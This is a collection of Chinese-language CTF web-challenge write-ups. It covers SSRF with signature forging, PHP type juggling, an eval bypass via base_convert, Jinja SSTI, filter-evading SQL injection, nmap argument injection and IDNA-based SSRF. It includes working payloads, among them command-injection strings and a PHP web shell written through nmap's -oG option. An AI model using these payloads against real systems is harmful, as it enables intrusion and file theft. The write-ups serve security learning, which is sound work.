[De1CTF 2019]SSRF Me
打开就是乱七八糟的py源码,没有工具,自己缩进,所以要提升代码审计能力,不仅是php还有py
源码
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)
先看路由/De1ta
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
获取四个参数action(cookie),param,sign(cookie),ip(不重要)
其中param有黑名单gopher/file(def waf)
进入Task类 调用Exec方法 以json形式返回执行结果
class Task:
def __init__(self, action, param, sign, ip)://初始化 不用管
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()): //检测sign签名
if "scan" in self.action: // mark
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: //mark
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
三个条件
- 首先 checkSign() => getsign() => md5()
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
先跟进getSign 签名重点:
secert_key + param + action
- action里要包含
scan - action里要包含
read
满足以上三个条件才可以触发ssrf点,也就是触发scan函数
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
urlopen(param).read() 根据hint的./flag.txt构造param=flag.txt 可获取flag 回溯之前的waf对协议的过滤 但不影响直接读取flag.txt
再回到chenSign 本身
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
要满足
getSign(self.action, self.param) == self.sign
有个可以获取sign的路由
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
这里action固定为scan 如果根据之前的逻辑,构造出action=readscan(包含) 这里就要构造param=flag.txtread
serect_key+"flag.txtread"+"scan"
这一步获取关键sign
之后param=flag.txt 于是action=readscan
因为是拼接所以怎么拆分都没有关系
payload1:
/De1ta?param=flag.txt
cookie:action=readscan;sign=7b199007e9543c7c19abd83a9bec58c4;
cookie值抓包或者F12存储修改都可
payload2:
Hash长度扩展攻击
安装工具HashPump
git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install
[WUSTCTF2020]朴实无华
robots.txt => /fAke_f1agggg.php => flag{this_is_not_flag} => 响应头 => /fl4g.php
<?php
echo intval(42);
echo intval(4.2);
echo intval('42');
echo intval('+42');
echo intval('-42');
echo intval(042);
echo intval('042');
echo intval(1e10);
echo intval('1e10');
echo intval(0x1A);
echo intval(42000000);
echo intval(420000000000000000000);
echo intval('420000000000000000000');
echo intval(42, 8);
echo intval('42', 8);
echo intval(array());
echo intval(array('foo', 'bar'));
?>
md5(0e215962017)=0e291242476940776845150308577824 自动转换类型=>0
payload:
/fl4g.php?num=2e5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[CISCN 2019 初赛]Love Math
payload1:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls%20/
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac%20/flag
解释如下:
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符
base_convert(37907361743,10,36) 得到的是函数 hex2bin dechex(1598506324) 得到的是_GET 进行 hex 编码的值
c 的值定义了 $pi=_GET , 那么 $$pi=$_GET
最后执行的代码为$_GET{system}($_GET{tac /flag})
payload2:
getallheaders函数 
base_convert(696468,10,36) => "exec"
base_convert(8768397090111664438,10,30) =>"getallheaders"
利用
echo exec(getallheaders(){1}) //1表示头信息的其中一个参数
=>
eval('echo '.$content.';');
/?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

[WesternCTF2018]shrine
这次view-source可以自动换行缩进 源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
明显的ssti模板注入 尝试/shine/{{7*7}} 回显49 self,config黑名单 搜索ssti模板注入博文学习,看到这里直接拿来用  config,self,()都被过滤的时候,为了获取讯息,我们需要读取一些例如current_app 这样的全局变量。 python的沙箱逃逸这里的方法是利用python对象之间的引用关系来调用被禁用的函数对象。
这里有两个函数包含了current_app全局变量, url_for 和get_flashed_messages
[SWPU2019]Web1
注册登录发广告,还以为是dom-xss,结果是sql注入 注入点是广告名 ' 闭合测试
猜测语句
select * from table_name where id = '$id' limit 0,1
列字段数,过滤了order 和空格 ,我们用group
1'/**/group/**/by/**/22,'
多了一个逗号,我也不知道为什么
查回显位 在2,3
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
查库名,版本
-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

查表名,发现过滤了information_schema 还可以用mysql.innodb_table_stats 和sys.schema_auto_increment_colum ns
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
但是buu没有 
MySQL5.7的新特性
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma ,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
schema_auto_increment_columns ,该视图的作用简单来说就是用来对表自增ID的监控。
无列名注入查字段 flag在users表里
什么是无列名注入?
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
select group_concat(b) from(select 1,2 ,3 as b union select * from users)x
[网鼎杯 2020 朱雀组]Nmap
VS
[BUUCTF 2018]Online Tool
知识点: escapeshellarg Nmap使用命令
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
NMAP -iL 文件名
//扫描目标列表
如果你有大量的系统进行扫描,就可以在文本文件中输入IP地址(或主机名),并使用该文件作为输入。
payload1: 过滤了php ,利用php文件后缀phtml
127.0.0.1' <?= eval($_POST[cmd]);?> -oG flag.phtml '
payload2:
127.0.0.1' -iL /flag -oN flag.txt '
[SUCTF 2019]Pythonginx
知识点:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
ngnix让我想到昨晚那道题的apache||ngnix乌龙事件
源码:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
parts = list(urlsplit(url))
list() 方法用于将元组转换为列表。 parse.urlprase 方法 将url分为6个部分,返回一个包含6个字符串项目的元组:协议、位置、路径、参数、查询、片段。
ParseResult(scheme=‘https‘, netloc=‘i.cnblogs.com‘, path=‘/EditPosts.aspx‘, params=‘‘, query=‘opt=1‘, fragment=‘‘)
其中 scheme 是协议 netloc 是域名服务器 path 相对路径 params是参数,query是查询的条件
(来源:水印) 
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串,返回分割后的字符串列表。 append() 方法用于将传入的对象附加(添加)到现有列表中。 join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
知识点: 2019 blackhat 讨论议题
漏洞产生的原因是各国语言的编码形式在进行转换时,会以不同的形式呈现,导致可以构造可以利用的恶意url 当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
 梳理下来总的逻辑就是: 根据代码审计
我们需要绕过前两个if判断,进入第三个if判断去利用read()函数
简单来说就是
在前两个判断时不能是suctf.cc
第三个是suctf.cc
payload:
?url=file://suctf.c?/usr/local/nginx/conf/nginx.conf
?url=file://suctf.c%E2%84%82/usr/local/nginx/conf/nginx.conf

?url=file://suctf.c%E2%84%82/usr/fffffflag

|